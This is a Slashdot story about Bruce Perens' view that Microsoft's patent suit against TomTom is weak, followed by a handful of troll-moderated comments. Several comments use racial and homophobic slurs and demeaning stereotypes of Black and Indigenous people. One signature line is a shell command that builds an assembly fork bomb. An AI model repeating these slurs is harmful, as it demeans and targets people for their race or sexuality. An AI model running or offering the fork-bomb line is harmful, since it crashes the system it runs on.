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Analyzing Microsoft's Linux Lawsuit

jammag writes "Open source advocate Bruce Perens takes a close look at Microsoft's lawsuit against TomTom (discussed here last week), which involves an implementation of the Linux kernel, and calls it essentially a paper tiger. He notes: 'the technologies claimed in the 8 patents involved are so old and obvious that it's fair to say they have a high "Duh!" factor. There's an anti-trust angle to this suit that could blow up in Microsoft's face. And there's a high probability that some or all of the patents involved are invalid, due to recent court decisions.' Although the legal expense for TomTom to defend itself in court could be astronomical — meaning they may be forced to settle — in Perens' view Microsoft is aware its case is weak, yet hopes for a PR victory at limited cost." And reader nerdyH adds speculation from Open Innovation Network CEO Keith Bergelt that Redmond's action could be retaliation for TomTom's spurning a Microsoft acquisition bid in 2006.

11 of 297 comments (clear)

  1. Yes, but... by Luke727 · · Score: -1, Troll

    Linux is still for fags.

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    If you find this post offensive, don't read it! THINK ABOUT YOUR BREATHING! I am what I am because of how apes behave.
    1. Re:Yes, but... by timmarhy · · Score: 0, Troll

      all i heard was blah blah blah.

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      If you mod me down, I will become more powerful than you can imagine....
    2. Re:Yes, but... by Anthony_Cargile · · Score: -1, Troll

      Quit trolling Slashdot

      You must be new here.

    3. Re:Yes, but... by abigsmurf · · Score: 0, Troll

      Yeah what kind of crazy system rewards the people who invented something and gives them some control over their invention?

  2. /headdesk by Adilor · · Score: 0, Troll

    Seriously? I mean, really, what's the point here? Are we that gigantic of a bigot that we have to resort to stupid little stunts like this to make ourselves feel important?

    Bleh. I guess I can't say I'm surprised. "Screw the rules, I have money!" Or something like that.

  3. Re:question by Anonymous Coward · · Score: -1, Troll

    Because it dosen't take a lawyer to see that Microsoft would rather sue and cut wages then actually innovate!

    Plus, I heard a lot of niggers work there and I don't like niggers or their stinky unbathed cousins the Indians.

  4. No. Not Now. Not Ever. I'm Coming For All Of You! by Anonymous Coward · · Score: -1, Troll

    Thank you Bruce Perens, legal scholar. Now turn off your Cylon projection and get back to spreading socialism and using communist techniques to pollute the minds of every American under 30 into giving away the world to people who want to kill them.

  5. Re:question by Anonymous Coward · · Score: -1, Troll

    The only reason the indians are unbathed is they ripped all the piping and wiring out of the houses the government gave them for free so they could sell it and buy booze.

    It's obviously the government's fault for not replacing the wires and piping.

  6. Re:question by Anonymous Coward · · Score: -1, Troll

    Hey, have mercy on poor Bruce! He's not a coder (not a good one, at the very leat), he's not a lawyer, he's not a visionary like RMS - but he still wants to feel important, too.

    Don't burst his bubble!

  7. Re:question by ozphx · · Score: 0, Troll

    Not at all. The patent is valid, and MS has a duty to its shareholders to collect the revenue. They were granted a patent on "a lookup table for LFN support lol" - and Tomtom hasn't paid to use it.

    The rest of the patents listed in the lawsuit are just flexing to force Tomtom to settle.

    Theres probably around ten million bucks of cash up for grabs here, and I own around a ten millionth of MS - meaning those Norwegian fuckers personally have ripped me off a buck. Fuck them. They can either get the patent invalidated or pay the fuck up.

    Also fuck you.

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    3laws: No freebies, no backsies, GTFO.
  8. Re:question by Hal_Porter · · Score: 0, Troll

    Hey, have mercy on poor Bruce! He's not a coder (not a good one, at the very l33t), he's not a lawyer, he's not a visionary like RMS - but he still wants to feel important, too.

    Don't burst his bubble!

    Fixed that for you

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;